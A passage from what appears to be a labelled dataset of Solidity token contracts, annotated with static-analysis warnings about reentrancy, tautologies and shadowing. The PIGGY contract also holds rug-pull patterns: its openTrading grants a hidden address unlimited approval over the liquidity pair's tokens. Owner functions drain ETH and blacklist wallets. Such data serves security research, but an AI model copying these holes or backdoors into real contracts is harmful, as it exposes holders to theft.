PIGGY.lastSellBlock should be constant \n\t// Recommendation for f90f2be: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x93FE8f4De83C390d57C5f9eb2Aa68c093E17d207\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e209ff1): PIGGY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e209ff1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 66370f8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 66370f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e27a216): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e27a216: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 66370f8\n\t\t// reentrancy-benign | ID: e27a216\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 66370f8\n\t\t// reentrancy-benign | ID: e27a216\n _approve(\n sender,\n _msgSender(),\n allowance(sender, _msgSender()).sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f77da3): PIGGY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2f77da3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a68dc6e\n\t\t// reentrancy-benign | ID: e27a216\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 66370f8\n\t\t// reentrancy-events | ID: cdb1a22\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a00817c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a00817c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: d133956): PIGGY._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for d133956: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 998f0f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 998f0f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address sender, address to, uint256 amount) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (sender != owner() && to != owner() && to != _router) {\n if (_buyCnt == 0) {\n taxAmount = amount\n .mul(\n (_buyCnt > _reduceBuyTaxAt)\n ? _finalBuyFee\n : _initalBuyFee\n )\n .div(100);\n }\n\n if (sender == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCnt > _reduceBuyTaxAt)\n ? _finalBuyFee\n : _initalBuyFee\n )\n .div(100);\n\n _buyCnt++;\n }\n\n if (to == uniswapV2Pair && sender != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCnt > _reduceSellTaxAt)\n ? _finalSellFee\n : _initalSellFee\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _buyCnt > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: a00817c\n\t\t\t\t\t// reentrancy-eth | ID: 998f0f3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// reentrancy-events | ID: a00817c\n\t\t\t\t// tautology | ID: d133956\n\t\t\t\t// reentrancy-eth | ID: 998f0f3\n if (contractETHBalance >= 0) sendDevETHFee(contractETHBalance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 998f0f3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a00817c\n emit Transfer(sender, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 998f0f3\n _balances[sender] = _balances[sender].sub(amount);\n\n\t\t// reentrancy-eth | ID: 998f0f3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a00817c\n emit Transfer(sender, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 66370f8\n\t\t// reentrancy-events | ID: a00817c\n\t\t// reentrancy-benign | ID: e27a216\n\t\t// reentrancy-eth | ID: 998f0f3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendDevETHFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 66370f8\n\t\t// reentrancy-events | ID: a00817c\n\t\t// reentrancy-eth | ID: 998f0f3\n payable(_router).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cdb1a22): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cdb1a22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a68dc6e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a68dc6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 34f84df): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 34f84df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 92bf755): PIGGY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 92bf755: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7d94018): PIGGY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7d94018: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 18cdc92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 18cdc92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-events | ID: cdb1a22\n\t\t// reentrancy-benign | ID: a68dc6e\n\t\t// reentrancy-benign | ID: 34f84df\n\t\t// reentrancy-eth | ID: 18cdc92\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: cdb1a22\n\t\t// reentrancy-benign | ID: a68dc6e\n _approve(uniswapV2Pair, address(_router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 34f84df\n\t\t// unused-return | ID: 92bf755\n\t\t// reentrancy-eth | ID: 18cdc92\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 34f84df\n\t\t// unused-return | ID: 7d94018\n\t\t// reentrancy-eth | ID: 18cdc92\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 34f84df\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 18cdc92\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10602.sol",
"size_bytes": 20312,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ginger is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7f4ca5c): Ginger._taxWallet should be immutable \n\t// Recommendation for 7f4ca5c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: de51a60): Ginger._initialBuyTax should be constant \n\t// Recommendation for de51a60: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdb4c91): Ginger._initialSellTax should be constant \n\t// Recommendation for fdb4c91: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c5a188): Ginger._reduceBuyTaxAt should be constant \n\t// Recommendation for 7c5a188: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8bfc66): Ginger._reduceSellTaxAt should be constant \n\t// Recommendation for d8bfc66: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: f84a814): Ginger._preventSwapBefore should be constant \n\t// Recommendation for f84a814: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 28;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pedro Raccoon\";\n\n string private constant _symbol = unicode\"Ginger\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee6208f): Ginger._taxSwapThreshold should be constant \n\t// Recommendation for ee6208f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5f7609): Ginger._maxTaxSwap should be constant \n\t// Recommendation for e5f7609: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 11000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xC4b6Fb79dee13f510c63cBB2446e8Ec6733F5acC);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e763418): Ginger.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e763418: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 281398f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 281398f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0790124): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0790124: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 281398f\n\t\t// reentrancy-benign | ID: 0790124\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 281398f\n\t\t// reentrancy-benign | ID: 0790124\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222b012): Ginger._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 222b012: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0790124\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 281398f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 558860a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 558860a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 028e63d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 028e63d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 558860a\n\t\t\t\t// reentrancy-eth | ID: 028e63d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 558860a\n\t\t\t\t\t// reentrancy-eth | ID: 028e63d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 028e63d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 028e63d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 028e63d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 558860a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 028e63d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 028e63d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 558860a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 558860a\n\t\t// reentrancy-events | ID: 281398f\n\t\t// reentrancy-benign | ID: 0790124\n\t\t// reentrancy-eth | ID: 028e63d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 558860a\n\t\t// reentrancy-events | ID: 281398f\n\t\t// reentrancy-eth | ID: 028e63d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f0bce2e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f0bce2e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9811bfd): Ginger.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9811bfd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3060184): Ginger.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3060184: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a3352bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a3352bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f0bce2e\n\t\t// reentrancy-eth | ID: a3352bf\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f0bce2e\n\t\t// unused-return | ID: 9811bfd\n\t\t// reentrancy-eth | ID: a3352bf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f0bce2e\n\t\t// unused-return | ID: 3060184\n\t\t// reentrancy-eth | ID: a3352bf\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f0bce2e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a3352bf\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10603.sol",
"size_bytes": 19881,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return 